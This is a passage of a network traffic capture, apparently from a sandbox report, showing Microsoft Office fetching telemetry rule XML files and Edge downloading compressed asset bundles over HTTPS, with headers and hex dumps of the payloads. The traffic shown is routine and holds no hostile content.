2024-11-22 13:43:53 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:53 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134353Z-178bfbc474bv7whqhC1NYC1fg400000002zg00000000ggbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:53 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:53 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:53 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 9a395038-201e-0071-807e-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134353Z-174c587ffdfn4nhwhC1TEB2nbc00000001f000000000ng4k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:53 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:53 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:53 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134353Z-178bfbc474bfw4gbhC1NYCunf40000000350000000000aqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:54 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49884	13.107.246.40	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:55 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:43:56 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:56 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 21 Nov 2024 04:18:43 GMT ETag: 0x8DD09E3961B864F x-ms-request-id: 46c8a97d-901e-0069-13e4-3c37ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T134355Z-178bfbc474bw8bwphC1NYC38b400000002xg000000006pqy Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 13:43:56 UTC	15821	IN	Data Raw: 1f 8b 08 08 a3 b4 3e 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: >gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-22 13:43:56 UTC	16384	IN	Data Raw: 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 Data Ascii: ,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
2024-11-22 13:43:56 UTC	16384	IN	Data Raw: d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-22 13:43:56 UTC	16384	IN	Data Raw: 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 Data Ascii: H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
2024-11-22 13:43:56 UTC	5234	IN	Data Raw: 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 Data Ascii: NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49883	13.107.246.40	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:55 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:43:56 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:55 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 1dceea20-601e-005e-33d8-3c9b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T134355Z-178bfbc474bbbqrhhC1NYCvw74000000033g00000000k52t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-22 13:43:56 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-22 13:43:56 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-22 13:43:56 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-22 13:43:56 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-22 13:43:56 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-22 13:43:56 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-22 13:43:56 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-22 13:43:56 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 